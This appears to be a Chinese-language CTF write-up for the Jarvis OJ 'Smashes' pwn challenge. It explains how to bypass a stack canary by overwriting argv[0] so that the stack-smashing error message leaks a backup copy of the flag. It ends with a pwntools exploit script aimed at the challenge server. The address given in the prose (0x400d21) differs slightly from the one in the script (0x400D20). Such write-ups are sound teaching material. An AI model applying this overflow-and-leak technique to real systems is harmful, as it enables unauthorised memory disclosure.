题目信息

Smashes, try your best to smash!!!

nc pwn.jarvisoj.com 9877

https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229

开了NX和Canary:

静态分析

题目就是简单地接受输入,要求overwrite,但因为有canary不能直接溢出,那么就可以考虑argv[0] leak,通过溢出覆盖argv[0]的地址,然后根据smashes信息获取覆盖地址的内容

另外文件中有很像flag的字串,但服务器上肯定不是这串,既然flag就在程序中,那么泄露的内容就确定了,但是程序执行的过程中会把flag给修改了,这里有个小知识,当ELF文件比较小的时候,他的不同区段可能会被多次映射,也就是说flag可能有备份,gdb查找一下 :

在0x400d21有一处备份,那么我们就可以将argv[0]覆盖为0x400d21,来获取flag的值

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

elf = ELF('./smashes')

sh = remote('pwn.jarvisoj.com', 9877)
# sh = process('./smashes')
context.arch = elf.arch
# context.log_level = 'debug'

flag_addr = 0x400D20

sh.recvuntil("name?")
payload = p64(flag_addr) * 200
sh.sendline(payload)
sh.recvuntil('flag:')
sh.sendline("1")
sh.interactive()